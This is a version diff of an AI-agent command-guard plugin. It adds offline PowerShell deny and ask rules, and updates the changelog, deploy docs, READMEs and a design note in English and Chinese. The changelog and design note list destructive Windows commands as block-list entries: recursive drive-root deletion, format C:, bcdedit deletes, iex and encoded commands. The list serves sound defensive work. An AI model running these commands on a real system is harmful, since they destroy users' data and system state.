dsh-jev-guard 0.5.5 → 0.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,21 @@
5
5
  This project follows a "record the facts by date" approach: every entry states clearly **what changed, why, and how it was verified**.
6
6
  The complete design trade-offs are in [`docs/DECISIONS.md`](./docs/DECISIONS.md), the measured data in [`docs/MEASUREMENTS.md`](./docs/MEASUREMENTS.md).
7
7
 
8
+ ## [0.5.6] — 2026-10-17
9
+
10
+ **PowerShell's destructive surface is in the L0 rules now — on the day this profile's executor flipped from bash to pwsh.** L0 is the floor that survives a degraded or timed-out semantic layer; with the live model given 1800 ms before it fails open, forms like `Remove-Item -Recurse C:\`, `bcdedit /delete`, `iex`, `powershell -EncodedCommand`, `reg delete`, `net user … /delete` and `takeown /f C:\` were relying on the online verdict alone. They are offline rules now: **DENY 21 → 26, ASK 16 → 24**. The reasoning is D19 in [`docs/DECISIONS.md`](./docs/DECISIONS.md).
11
+
12
+ **Why now.** On 2026-10-17 this profile's executor moved from bash to pwsh (Git Bash's MSYS2 runtime cannot start under the sandbox's `WRITE_RESTRICTED` token; the four config edits are recorded in `cordis.patch.yml`). The plugin's tool list already carried both (`DEFAULT_TOOLS = ['bash', 'pwsh']`), so nothing was left unguarded — but the L0 rules were written in bash syntax, and the semantic layer fails open after 1800 ms. Measured on this host: 8 of the day's judgments were `source: error`, every one a timeout, i.e. commands that ran with no model decision behind them. After the restart the audit log also carries the first `"tool": "pwsh"` records, so the new executor body does reach the pre-execute hook.
13
+
14
+ **What changed:**
15
+
16
+ 1. **New DENY rules (5):** a recursive delete aimed at a **drive root** (`Remove-Item -Recurse C:\`, plus the `ri` / `rm` / `del` / `rd` aliases with `-Recurse` / `/s`), at `C:\Windows` (`$env:SystemRoot`, `%SystemRoot%`), or at a **profile root** (`$env:USERPROFILE`, `$HOME`, `C:\Users\<name>`, `~`); `format C:`; `bcdedit /set|/delete|/create|/import`; `Disable-ComputerRestore`.
17
+ 2. **The old drive-root rule was rewritten, because it was wrong in the other direction.** Measured before the change: `Remove-Item -Recurse C:\Users\me\build` was **denied** — the pattern tested "any drive-letter path" rather than a root, and its `[^*]` accepted the path's own first character. It now tests the *target* for a root with a token boundary, and finds `-Recurse` / `/s` by lookahead, so `-Path C:\ -Recurse` (flag after the target) is covered too.
18
+ 3. **New ASK rules (8):** `iex` / `Invoke-Expression`; `powershell -EncodedCommand` (`-e`, `-ec`, `-enc`); `Clear-Content`; `reg delete`; `Remove-Item` against `HKLM:` / `HKCU:` / `HKCR:`; `net user|localgroup … /delete`; `takeown /f <drive>` and `icacls <drive> /reset`; `Clear-RecycleBin`.
19
+ 4. **Shell-wrapper recognition covers the PowerShell forms.** `SHELL_C` now matches `pwsh -NoProfile -Command "…"` — a flag between the binary and `-Command`, which the old `-[a-z]*c` never reached — and cmd's `/c`, so a destructive command inside either is still seen at its own command position. `where: 'anywhere'` remains exactly two rules (redirect-to-device, fork-bomb), and the suite asserts that structural invariant.
20
+
21
+ **Acceptance** (Windows, Node 24.12.0, DSH 0.2.1-rc.2 desktop host, re-checked the same day — `verification-results/dsh.json` item 24): `guard selftest` 12/12; the seven offline suites **30 / 34 / 113 / 54 / 17 / 83 / 20** assertions (entry / i18n / quota / reason / token / rules / audit), all passing; the DSH adapter smoke test 23/23 without a key (no key is configured in this workspace, so the with-key run is not part of this record). `selftest-rules` grew from 48 to 83 cases: the E group drives 24 new rules through `staticRule` on real strings, and the F group pins ten cases that must **not** fire — a relative `.\build`, a path *under* `C:\Users`, `C:\Windows.old`, prose that mentions `Remove-Item`, `Format-Table`, `Get-Help Clear-Content`. The suite does not assert a rule count, only that `anywhere` is still 2, so a later edit cannot quietly move a rule back to matching the whole text. `selftest-i18n` now covers all 50 L0 rules and asserts that each has a zh-CN and an en `why`. The real tool-pipeline integration test was not run in this workspace: it resolves `@deepseek-ai/cordis` from its own location and this checkout is deliberately zero-dependency — neither CI nor the publish workflow runs it either.
22
+
8
23
  ## [0.5.5] — 2026-10-15
9
24
 
10
25
  **The default model is pinned to a version instead of a floating alias, and two failures that used to vanish into `unknown` are now classes that degrade and say so.** The pin changes what a fresh install judges with; the classification is a behaviour change in `lib/quota.js`.
@@ -5,6 +5,21 @@
5
5
  本项目遵循「按日期记录事实」的写法:每条都写清**改了什么、为什么、以及怎么验证的**。
6
6
  完整的设计取舍见 [`docs/DECISIONS.md`](./docs/DECISIONS.md),实测数据见 [`docs/MEASUREMENTS.md`](./docs/MEASUREMENTS.md)。
7
7
 
8
+ ## [0.5.6] — 2026-10-17
9
+
10
+ **PowerShell 的破坏性操作面进了 L0 规则 —— 就在本 profile 的执行器从 bash 翻成 pwsh 的这一天。** L0 是在语义层降级或超时之后仍然站得住的那层地板;联网模型只有 1800ms,超时即 fail-open,`Remove-Item -Recurse C:\`、`bcdedit /delete`、`iex`、`powershell -EncodedCommand`、`reg delete`、`net user … /delete`、`takeown /f C:\` 这些形态此前只靠联网判定兜着。现在它们是离线规则:**DENY 21 → 26,ASK 16 → 24**。理由见 [`docs/DECISIONS.md`](./docs/DECISIONS.md) 的 D19。
11
+
12
+ **为什么是现在。** 2026-10-17 本 profile 的执行器从 bash 换成了 pwsh(Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来;四处配置改动记在 `cordis.patch.yml`)。插件的工具列表本来就同时包含两者(`DEFAULT_TOOLS = ['bash', 'pwsh']`),所以没有哪类命令"失去守卫" —— 但 L0 规则是用 bash 语法写的,而语义层 1800ms 就 fail-open。在这台机器上量到的:当天 8 条判定是 `source: error`,每一条都是超时,也就是那些命令跑的时候背后没有任何模型判定。重启之后审计日志里也第一次出现了 `"tool": "pwsh"` 记录,说明新的执行器确实走到了 pre-execute 钩子。
13
+
14
+ **改了什么:**
15
+
16
+ 1. **新增 DENY 5 条:** 递归删除指向**盘符根**(`Remove-Item -Recurse C:\`,以及 `ri` / `rm` / `del` / `rd` 别名带 `-Recurse` / `/s`)、指向 `C:\Windows`(`$env:SystemRoot`、`%SystemRoot%`)、或指向**用户目录根**(`$env:USERPROFILE`、`$HOME`、`C:\Users\<名>`、`~`);`format C:`;`bcdedit /set|/delete|/create|/import`;`Disable-ComputerRestore`。
17
+ 2. **旧的盘符根规则被重写,因为它错在另一个方向。** 改之前实测:`Remove-Item -Recurse C:\Users\me\build` 会被 **deny** —— 模式判的是"任意盘符路径"而不是根,而 `[^*]` 连路径自己的第一个字符都放过了。现在它判的是**目标**是不是根,并带 token 边界;`-Recurse` / `/s` 用 lookahead 找,所以 `-Path C:\ -Recurse`(flag 写在目标之后)也覆盖到了。
18
+ 3. **新增 ASK 8 条:** `iex` / `Invoke-Expression`;`powershell -EncodedCommand`(`-e`、`-ec`、`-enc`);`Clear-Content`;`reg delete`;`Remove-Item` 碰 `HKLM:` / `HKCU:` / `HKCR:`;`net user|localgroup … /delete`;`takeown /f <盘符>` 与 `icacls <盘符> /reset`;`Clear-RecycleBin`。
19
+ 4. **包装器识别补上 PowerShell 形态。** `SHELL_C` 现在能咬 `pwsh -NoProfile -Command "…"` —— 二进制与 `-Command` 之间夹着参数,旧的 `-[a-z]*c` 根本到不了 —— 以及 cmd 的 `/c`,所以这两种写法里的破坏性命令仍会在它自己的命令位置被看见。`where: 'anywhere'` 仍然恰好两条(redirect-to-device、fork-bomb),这套自检钉的正是这个结构不变量。
20
+
21
+ **验收**(Windows、Node 24.12.0,宿主为 DSH 0.2.1-rc.2 桌面版,同日重新验过 —— 见 `verification-results/dsh.json` 第 24 项):`guard selftest` 12/12;七套离线自检 **30 / 34 / 113 / 54 / 17 / 83 / 20** 条断言(entry / i18n / quota / reason / token / rules / audit)全过;DSH 适配器冒烟 23/23(本工作区没有配密钥,所以带密钥那一轮不在本次记录里)。`selftest-rules` 从 48 例涨到 83 例:E 组 24 条用真实字符串把新规则喂给 `staticRule`,F 组钉住十条**不该**命中的:相对目录 `.\build`、`C:\Users` **之下**的路径、`C:\Windows.old`、把 `Remove-Item` 写进散文、`Format-Table`、`Get-Help Clear-Content`。这套自检不断言规则条数,只断言 `anywhere` 仍是 2,所以以后改规则不会悄悄把某条退回全文匹配。`selftest-i18n` 现在覆盖全部 50 条 L0 规则,要求每条都有 zh-CN 与 en 的 `why`。真实工具管线集成测试本次没跑:它从自身位置解析 `@deepseek-ai/cordis`,而本仓刻意零依赖 —— CI 与发布工作流也都不跑它。
22
+
8
23
  ## [0.5.5] — 2026-10-15
9
24
 
10
25
  **默认模型从浮动别名改为固定版本号;另有两类原本会消失在 `unknown` 里的失败,现在各有分类、会降级、而且会说出来。** 前者改变新装默认拿哪个模型判定;后者是 `lib/quota.js` 的行为变更。
package/DEPLOY.md CHANGED
@@ -32,7 +32,7 @@ and **have acceptable evidence for every step**. **Both WSL and Windows are supp
32
32
  | Directory location | `T:\dsh-jev-guard` recommended (in WSL that is `/mnt/t/dsh-jev-guard`) | `ls /mnt/t/dsh-jev-guard` |
33
33
  | Network | able to reach `https://api.typesafe.ai` **from an egress the service serves** — it is not reachable from every region: a blocked egress gets `HTTP 451` with `{"title":"Typesafe is not available in your region.","status":451}`, before the key is looked at. Which egress a request goes out from is decided **per executable** on Windows, so routing your shell is not enough: the DSH host process needs it too. The valve classifies this as `region` and degrades globally for 30 minutes rather than failing open (D17); verify with `guard status` and the `errorKind` line of `guard log --stats` | `node bin/guard.mjs judge 'pnpm test'` → must be `source: jev`, not `source: error` |
34
34
  | DSH | able to install local plugins (the profile's `package.json` has `dsh.profile` / bundles) | `dsh --profile <name> --dump-config` |
35
- | DSH version | **0.1.6-alpha.2**, **0.1.7-rc.2** and **0.2.0-rc.2** — all verified end to end; what was run is listed in the README's "Verified host versions" paragraph. No host requirement is declared in `package.json`, so the plugin market never blocks install on a different version | `dsh --version` |
35
+ | DSH version | **0.1.6-alpha.2**, **0.1.7-rc.2**, **0.2.0-rc.2** and **0.2.1-rc.2** — all verified end to end; what was run is listed in the README's "Verified host versions" paragraph. No host requirement is declared in `package.json`, so the plugin market never blocks install on a different version | `dsh --version` |
36
36
 
37
37
  ## 2. Install and configure
38
38
 
@@ -83,7 +83,7 @@ If you really want to switch: re-calibrate first, or lower both thresholds by ab
83
83
  ```bash
84
84
  cd /mnt/t/dsh-jev-guard
85
85
  node bin/guard.mjs selftest # expect: all 12 checks pass (offline)
86
- node bin/guard.mjs rules | head -5 # expect: 21 deny + 16 ask rules listed
86
+ node bin/guard.mjs rules | head -5 # expect: 26 deny + 24 ask rules listed
87
87
  node bin/guard.mjs judge 'ls -la' 'git push --force origin main' 'pnpm test'
88
88
  ```
89
89
 
package/DEPLOY.zh-CN.md CHANGED
@@ -32,7 +32,7 @@
32
32
  | 目录位置 | 建议 `T:\dsh-jev-guard`(WSL 里是 `/mnt/t/dsh-jev-guard`) | `ls /mnt/t/dsh-jev-guard` |
33
33
  | 网络 | 能**从服务提供服务的地区**访问 `https://api.typesafe.ai` —— 它并非从任何地区都可达:被拦的出口拿到的是 `HTTP 451` 与 `{"title":"Typesafe is not available in your region.","status":451}`,而这发生在看密钥之前。Windows 上"从哪个出口出去"往往**按可执行文件**决定,所以只给终端配代理不够:DSH 宿主进程也得走。阀门把这种情况分类为 `region`,全局降级 30 分钟,而不是逐次 fail-open(D17);用 `guard status` 与 `guard log --stats` 的 `errorKind` 一行确认 | `node bin/guard.mjs judge 'pnpm test'` → 必须是 `source: jev`,不能是 `source: error` |
34
34
  | DSH | 能装本地插件(profile 的 `package.json` 有 `dsh.profile` / bundles) | `dsh --profile <名> --dump-config` |
35
- | DSH 版本 | **0.1.6-alpha.2**、**0.1.7-rc.2** 与 **0.2.0-rc.2** 均已完整验证;跑了哪些见 README 的「已验证的宿主版本」段。`package.json` 未声明宿主要求,所以插件市场不会因版本不同而阻拦安装 | `dsh --version` |
35
+ | DSH 版本 | **0.1.6-alpha.2**、**0.1.7-rc.2**、**0.2.0-rc.2** 与 **0.2.1-rc.2** 均已完整验证;跑了哪些见 README 的「已验证的宿主版本」段。`package.json` 未声明宿主要求,所以插件市场不会因版本不同而阻拦安装 | `dsh --version` |
36
36
 
37
37
  ## 2. 安装与配置
38
38
 
@@ -81,7 +81,7 @@
81
81
  ```bash
82
82
  cd /mnt/t/dsh-jev-guard
83
83
  node bin/guard.mjs selftest # 期望:12 项全部通过(不联网)
84
- node bin/guard.mjs rules | head -5 # 期望:列出 21 条 deny + 16 条 ask
84
+ node bin/guard.mjs rules | head -5 # 期望:列出 26 条 deny + 24 条 ask
85
85
  node bin/guard.mjs judge 'ls -la' 'git push --force origin main' 'pnpm test'
86
86
  ```
87
87
 
package/README.md CHANGED
@@ -63,7 +63,7 @@ command text ──▶ L0 static hard rules (offline · cannot be overridden)
63
63
 
64
64
  Three layers, always in this order:
65
65
 
66
- 1. **L0 static hard rules** (`lib/rules.js`): 21 "never allowed" + 16 "human confirmation required". **Offline and impossible to override** — not even a one-shot token gets past them. Rules match at **command position only** (the start of a line, or after `;` `&` `|` `(` `$(`, or after `bash -c "`, and skipping wrappers such as `sudo` / `timeout 30` / `xargs -0` / `find … -exec`) — so *mentioning* a dangerous command inside an argument is not a false positive, **and a real command buried in a multi-line script is not missed either**. Only two rules cannot be anchored structurally (`redirect-to-device`, `fork-bomb`) and match the whole text; the counter `RULE_STATS.anywhere` is always 2.
66
+ 1. **L0 static hard rules** (`lib/rules.js`): 26 "never allowed" + 24 "human confirmation required". **Offline and impossible to override** — not even a one-shot token gets past them. Rules match at **command position only** (the start of a line, or after `;` `&` `|` `(` `$(`, or after `bash -c "` / `pwsh -NoProfile -Command "` / `cmd /c "`, and skipping wrappers such as `sudo` / `timeout 30` / `xargs -0` / `find … -exec`) — so *mentioning* a dangerous command inside an argument is not a false positive, **and a real command buried in a multi-line script is not missed either**. Only two rules cannot be anchored structurally (`redirect-to-device`, `fork-bomb`) and match the whole text; the counter `RULE_STATS.anywhere` is always 2.
67
67
  2. **Pre-screen**: commands that are provably read-only or touch only rebuildable content (caches, build output, `/tmp`) pass straight through, with **zero network calls**.
68
68
  3. **Jev semantic judgment**: one yes/no question — *"will this command irreversibly delete or overwrite the user's real data?"* — split by two thresholds into `allow` / `revise` / `block`. Measured latency ~300ms (P50 267ms), cost ≈ `$0.000019` per call.
69
69
 
@@ -71,12 +71,14 @@ Three layers, always in this order:
71
71
 
72
72
  Requires **Node ≥ 20** (it uses the global `fetch`). **Zero runtime dependencies** — no `npm install` needed.
73
73
 
74
- **Verified host versions: DSH 0.1.6-alpha.2, 0.1.7-rc.2 and 0.2.0-rc.2.** 0.1.7-rc.2 was checked end to end on 2026-09-25 (Node 24.21.0, WSL/Linux, this plugin at 0.5.3): `guard selftest` 12/12; the seven offline suites 20 / 31 / 34 / 109 / 56 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23; and the tool-pipeline integration test running against that checkout's own `@deepseek-ai/dsh-tools` 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real five-stage pipeline. The valve also ran mounted in a real session, judging commands and writing its audit log under approval policy `ask`.
74
+ **Verified host versions: DSH 0.1.6-alpha.2, 0.1.7-rc.2, 0.2.0-rc.2 and 0.2.1-rc.2.** 0.1.7-rc.2 was checked end to end on 2026-09-25 (Node 24.21.0, WSL/Linux, this plugin at 0.5.3): `guard selftest` 12/12; the seven offline suites 20 / 31 / 34 / 109 / 56 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23; and the tool-pipeline integration test running against that checkout's own `@deepseek-ai/dsh-tools` 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real five-stage pipeline. The valve also ran mounted in a real session, judging commands and writing its audit log under approval policy `ask`.
75
75
 
76
76
  **0.2.0-rc.2 was checked end to end on 2026-09-30** — this time the host *was* upgraded (`@deepseek-ai/dsh-desktop-runtime` 0.2.0-rc.2, Node 24.12.0, Windows), with this plugin at 0.5.3 and unmodified. The valve ran **mounted in a real session**: it judged the agent's commands over the live model (`jev-1.13.0`) and wrote its audit log, every record carrying the session id, the decision source (`jev` / `prefilter` / `static-rule` / `cache`), the risk probability, the latency and the token usage. Fail-open showed up in production as well as in the tests: judgements that ran past the 1800 ms budget were logged as `source: error` and allowed through, exactly as designed. Battery on that host: `guard selftest` 12/12; the seven offline suites 20 / 30 / 34 / 109 / 54 / 48 / 17 assertions, all passing (two counts differ from the Linux run — `selftest-entry` 30 vs 31 and `selftest-reason` 54 vs 56 — because those suites branch on platform); the DSH adapter smoke test 23/23; and the tool-pipeline integration test on the real `@deepseek-ai/dsh-tools` 0.2.0-rc.2 five-stage pipeline 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real pipeline. Statically, every host file this plugin touches is byte-identical between 0.1.7-rc.2 and 0.2.0-rc.2 — the `tools/pre-execute` and `agent/pre-step` declarations among them — so no code change was needed and none was made. The host's plugin version gate, which denies a plugin whose declared `@deepseek-ai/dsh*` peer requirements the running version does not satisfy, does not apply here: this plugin declares no `peerDependencies`, and both the gate's own function and the real profile-assembly path admit it.
77
77
 
78
78
  **0.2.0-rc.2 was re-checked on 2026-10-15**, with this plugin at 0.5.5 on the same Windows host: `guard selftest` 12/12; the seven offline suites 20 / 30 / 34 / 113 / 54 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23 without a key and 25/25 with one; and the tool-pipeline integration test 6/6 offline and **7/7 with a key**. The valve spent that day mounted in a real session, and the two failure shapes the session produced are now classified and degrading instead of filed under `unknown`: an egress **region block** (`451`) and a mistyped `model` (`400`) — see [D17](docs/DECISIONS.md). A judgment that outruns its budget still fails open and is still recorded as `source: error`.
79
79
 
80
+ **0.2.1-rc.2 was checked on 2026-10-17**, with this plugin at 0.5.6 on the same Windows host. The check was a contract diff rather than a guess: every host surface this plugin stands on was compared between the 0.2.0-rc.2 packages and the 0.2.1 build — the `tools/pre-execute` waterfall and its allow/ask/deny decision shape (`dsh-tools/lib/types/index.js`), the `agent/pre-step` default `{kind: 'enter', messages}` decision (`dsh-agent-loop/lib/index.js`), `snapshotEvents` / `deriveMessages` and the `approval/policy` + `permission/preset` payloads — and the lines the plugin actually matches are byte-identical, so no adapter change was needed. The valve then ran mounted: **216 judgments** across three sessions (`allow` 212 / `revise` 2 / `block` 2), and the only eight failures were 1800 ms timeouts — fail-open exactly as designed, not a contract break. Battery on that host: `guard selftest` 12/12; the seven offline suites 30 / 34 / 113 / 54 / 17 / 83 / 20 assertions, all passing; the DSH adapter smoke test 23/23. On the same day this profile's **executor** flipped from bash to pwsh (Git Bash's MSYS2 runtime cannot start under the sandbox's `WRITE_RESTRICTED` token, see `cordis.patch.yml`), which is what 0.5.6 answers: the audit log now carries `"tool": "pwsh"` records, and PowerShell's destructive surface is in the L0 rules ([D19](docs/DECISIONS.md)). The real tool-pipeline integration test was not run in this workspace — it resolves `@deepseek-ai/cordis` from its own location, and this checkout is deliberately zero-dependency; neither CI nor the publish workflow runs it.
81
+
80
82
  No host requirement is declared in `package.json` for any of them: the plugin market reads that field from the npm manifest and would then block install and update on every other DSH release. A version not listed here is therefore **untested, not forbidden**; if you run one, re-run the self-checks below.
81
83
 
82
84
  ```bash
package/README.zh-CN.md CHANGED
@@ -63,7 +63,7 @@
63
63
 
64
64
  分三层,顺序固定:
65
65
 
66
- 1. **L0 静态硬规则**(`lib/rules.js`):21 条"永不允许" + 16 条"必须人工确认"。**不联网、不可被覆盖**,连一次性令牌也过不去。规则只在**命令位置**匹配(每一行行首,或 `;` `&` `|` `(` `$(` 之后,或 `bash -c "` 之后,并允许 `sudo`/`timeout 30`/`xargs -0`/`find … -exec` 这类包装器)—— 所以"在参数里提到危险命令"不会被误伤,**而多行脚本里的真命令也不会被漏掉**。只有两条结构上锚不了的规则(`redirect-to-device`、`fork-bomb`)是全文匹配,计数器 `RULE_STATS.anywhere` 恒为 2。
66
+ 1. **L0 静态硬规则**(`lib/rules.js`):26 条"永不允许" + 24 条"必须人工确认"。**不联网、不可被覆盖**,连一次性令牌也过不去。规则只在**命令位置**匹配(每一行行首,或 `;` `&` `|` `(` `$(` 之后,或 `bash -c "` / `pwsh -NoProfile -Command "` / `cmd /c "` 之后,并允许 `sudo`/`timeout 30`/`xargs -0`/`find … -exec` 这类包装器)—— 所以"在参数里提到危险命令"不会被误伤,**而多行脚本里的真命令也不会被漏掉**。只有两条结构上锚不了的规则(`redirect-to-device`、`fork-bomb`)是全文匹配,计数器 `RULE_STATS.anywhere` 恒为 2。
67
67
  2. **预筛**:可证明只读或只影响可重建内容(缓存、构建产物、`/tmp`)的命令直接放行,**零网络调用**。
68
68
  3. **Jev 语义判定**:一次是非问句 —— *"这条命令会不可逆地删除或覆盖用户的真实数据吗?"* —— 按两个阈值切成 `allow` / `revise` / `block`。实测延迟 ~300ms(P50 267ms),成本 ≈ `$0.000019`/次。
69
69
 
@@ -71,12 +71,14 @@
71
71
 
72
72
  要求 **Node ≥ 20**(用到全局 `fetch`)。**零运行时依赖**,不需要 `npm install`。
73
73
 
74
- **已验证的宿主版本:DSH 0.1.6-alpha.2、0.1.7-rc.2 与 0.2.0-rc.2。** 0.1.7-rc.2 于 2026-09-25 完整跑过一遍(Node 24.21.0、WSL/Linux,插件本体 0.5.3):`guard selftest` 12/12;七份离线自检 20 / 31 / 34 / 109 / 56 / 48 / 17 条断言全过;DSH 适配器冒烟 23/23;工具管线集成测试跑在该 checkout 自带的 `@deepseek-ai/dsh-tools` 上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。阀门也在真实会话里挂载运行过:逐条判定命令,并在审批策略 `ask` 下写下审计日志。
74
+ **已验证的宿主版本:DSH 0.1.6-alpha.2、0.1.7-rc.2、0.2.0-rc.2 与 0.2.1-rc.2。** 0.1.7-rc.2 于 2026-09-25 完整跑过一遍(Node 24.21.0、WSL/Linux,插件本体 0.5.3):`guard selftest` 12/12;七份离线自检 20 / 31 / 34 / 109 / 56 / 48 / 17 条断言全过;DSH 适配器冒烟 23/23;工具管线集成测试跑在该 checkout 自带的 `@deepseek-ai/dsh-tools` 上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。阀门也在真实会话里挂载运行过:逐条判定命令,并在审批策略 `ask` 下写下审计日志。
75
75
 
76
76
  **0.2.0-rc.2 于 2026-09-30 完整跑过一遍** —— 这次宿主**真的升上来了**(`@deepseek-ai/dsh-desktop-runtime` 0.2.0-rc.2、Node 24.12.0、Windows),插件本体 0.5.3、一行未改。阀门**在真实会话里挂载运行**:逐条判定 agent 发出的命令,走真实联网模型(`jev-1.13.0`),并写下审计日志 —— 每条记录都带会话 id、判定来源(`jev` / `prefilter` / `static-rule` / `cache`)、风险概率、延迟与 token 用量。fail-open 不只在测试里成立,生产路径上也观察到了:超出 1800ms 判定预算的条目被记成 `source: error` 并放行,与设计一致。该宿主上的电池:`guard selftest` 12/12;七份离线自检 20 / 30 / 34 / 109 / 54 / 48 / 17 条断言全过(其中两个数字与 Linux 轮不同 —— `selftest-entry` 30 对 31、`selftest-reason` 54 对 56 —— 因为这两套用例按平台分支);DSH 适配器冒烟 23/23;工具管线集成测试跑在真实的 `@deepseek-ai/dsh-tools` 0.2.0-rc.2 五阶段管线上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。静态上,本插件触及的每一个宿主文件在 0.1.7-rc.2 与 0.2.0-rc.2 之间都逐字节一致(含 `tools/pre-execute` 与 `agent/pre-step` 的声明),所以无需改动、也确实一行未改。宿主的插件版本门槛 —— 声明了 `@deepseek-ai/dsh*` peer 要求而运行版本不满足时就拒绝加载 —— 对本案不适用:本插件不声明 `peerDependencies`,门槛函数本身与真实的 profile 装配路径都放行。
77
77
 
78
78
  **0.2.0-rc.2 于 2026-10-15 又完整跑过一遍** —— 插件本体 0.5.5,宿主是同一台 Windows 机:`guard selftest` 12/12;七份离线自检 20 / 30 / 34 / 113 / 54 / 48 / 17 条断言全过;DSH 适配器冒烟无密钥 23/23、带密钥 25/25;工具管线集成测试离线 6/6、**带密钥 7/7**。这一天阀门一直挂在真实会话里跑,而这场会话产生的两种失败形状现在各有分类、会降级,不再落进 `unknown`:出口的**地区拦截**(`451`)与写错的 `model`(`400`)—— 见 [D17](docs/DECISIONS.md)。超出预算的判定照旧 fail-open,也照旧记为 `source: error`。
79
79
 
80
+ **0.2.1-rc.2 于 2026-10-17 做过一次兼容复查** —— 插件本体 0.5.6,同一台 Windows 机。这次不是猜行为,而是逐处做契约对照:把 0.2.0-rc.2 的包与 0.2.1 的构建逐项比较插件站在其上的每一个宿主面 —— `tools/pre-execute` 瀑布与 allow/ask/deny 决策形状(`dsh-tools/lib/types/index.js`)、`agent/pre-step` 的默认 `{kind: 'enter', messages}`(`dsh-agent-loop/lib/index.js`)、`snapshotEvents` / `deriveMessages` 以及 `approval/policy` + `permission/preset` 载荷 —— 插件实际匹配的那几行逐字节一致,适配器一行未改。阀门随后挂载运行:**216 条判定**、跨三个会话(`allow` 212 / `revise` 2 / `block` 2),唯一的失败是 8 条 1800ms 超时 —— 按设计 fail-open,不是契约破损。该宿主上的电池:`guard selftest` 12/12;七份离线自检 30 / 34 / 113 / 54 / 17 / 83 / 20 条断言全过;DSH 适配器冒烟 23/23。同一天这个 profile 的**执行器**从 bash 翻成了 pwsh(Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来,见 `cordis.patch.yml`),0.5.6 回应的就是这件事:审计日志里已经有 `"tool": "pwsh"` 记录,而且 PowerShell 的破坏性操作面已经进了 L0 规则([D19](docs/DECISIONS.md))。真实工具管线集成测试本次没跑 —— 它从自身位置解析 `@deepseek-ai/cordis`,而本 checkout 刻意零依赖;CI 与发布工作流也都不跑它。
81
+
80
82
  这些版本都**刻意不在 `package.json` 里声明为宿主要求**:插件市场会从 npm manifest 读这个字段,一旦声明就会在其他所有 DSH 版本上拦住安装与更新。未列入的版本是**没验过,而不是被禁止**;换版本后请重跑下面的自检。
81
83
 
82
84
  ```bash
@@ -21,7 +21,7 @@ and it is also the reason it can run the same judging on both Windows and WSL.
21
21
 
22
22
  ### L0 — static hard rules (offline)
23
23
 
24
- **Responsibility:** the two lists "never allowed" and "must be confirmed by a human". `lib/rules.js`, 21 deny + 16 ask.
24
+ **Responsibility:** the two lists "never allowed" and "must be confirmed by a human". `lib/rules.js`, 26 deny + 24 ask.
25
25
 
26
26
  **Why it is a separate layer:** it must not depend on the network, must not depend on a model, and must not be overridable
27
27
  by anything downstream. In DSH the counterpart is
@@ -21,7 +21,7 @@
21
21
 
22
22
  ### L0 — 静态硬规则(不联网)
23
23
 
24
- **职责:** "永不允许"和"必须人工确认"两类清单。`lib/rules.js`,21 条 deny + 16 条 ask。
24
+ **职责:** "永不允许"和"必须人工确认"两类清单。`lib/rules.js`,26 条 deny + 24 条 ask。
25
25
 
26
26
  **为什么单独一层:** 它必须不依赖网络、不依赖模型、不可被任何下游覆盖。DSH 里对应的是
27
27
  `ctx.tools.guard()` —— 文档原话:may deny or abstain, **never force-allow**。
package/docs/DECISIONS.md CHANGED
@@ -573,3 +573,46 @@ where the verdicts move. That corpus is the same instrument that was used to che
573
573
  **The honest limit:** nothing here can say whether `1.14.0` judges better — only that adopting it without re-calibration
574
574
  cannot be justified, and that neither reason above depends on the other. If upstream promotes a text model that calibrates
575
575
  better, that is a different decision made the same way: re-fit, re-run the corpus, then bump the version.
576
+
577
+ ---
578
+
579
+ ## D19 · The destructive surface of the executor that **actually runs** belongs in L0 (2026-10-17)
580
+
581
+ **Decision:** the L0 rule set is written in the syntax of the shell that executes on this machine, not the one the project
582
+ was born on. On 2026-10-17 this profile's executor was flipped from bash to pwsh — Git Bash's MSYS2 runtime cannot start
583
+ under the sandbox's `WRITE_RESTRICTED` token, so `pwsh` is what actually runs commands here (the four config edits are the
584
+ ones in `cordis.patch.yml`). The PowerShell destructive surface moved into the offline rules in 0.5.6: recursive deletes of
585
+ a drive root, the Windows directory or a profile root, plus `format`, `bcdedit`, `Disable-ComputerRestore` became `deny`;
586
+ `iex` / `-EncodedCommand` / registry deletes / `net user … /delete` / `takeown`+`icacls` on a drive root / `Clear-RecycleBin`
587
+ became `ask`.
588
+
589
+ **Why L0 rather than "the model will catch it":**
590
+
591
+ 1. **L0 is the floor that survives.** The semantic layer is given 1800 ms and fails open when it runs out, and it stands
592
+ aside entirely during a degradation window. Measured in this workspace on the day of the flip: 8 of the judgments were
593
+ `source: error`, every one of them a timeout — each of those commands ran with no model decision behind it. A
594
+ `Remove-Item -Recurse C:\` that lands in that set is stopped by nothing else.
595
+ 2. **It is free, and its failure is loud.** L0 runs offline and in-process before any request; a false positive is visible
596
+ and has an exit (the token / the host's approval prompt), while a miss at the semantic layer is silent by construction.
597
+ 3. **A rule set written for a shell that no longer runs is a false claim in the docs.** The README says the valve covers
598
+ destructive shell commands; on this host bash never executes, so a bash-only L0 was covering the wrong syntax.
599
+
600
+ **Why the old drive-root rule was rewritten, not extended.** The pre-0.5.6 pattern
601
+ `Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\` never tested the *target*: it matched the first drive-letter path anywhere
602
+ on the line, so an ordinary cleanup — `Remove-Item -Recurse C:\Users\me\build` — was **denied**. Measured before the
603
+ change. This is the friction D4 warns about, in reverse: an accident net that cries wolf on routine work gets ignored, and
604
+ an ignored net is worse than a narrow one. The rule now requires a **root** target (a drive root, `C:\Windows` /
605
+ `$env:SystemRoot` / `%SystemRoot%`, a profile root / `$env:USERPROFILE` / `$HOME` / `C:\Users\<name>` / `~`) with a token
606
+ boundary, and detects `-Recurse` / `/s` by lookahead so `-Path C:\ -Recurse` (flag after the target) is covered too.
607
+
608
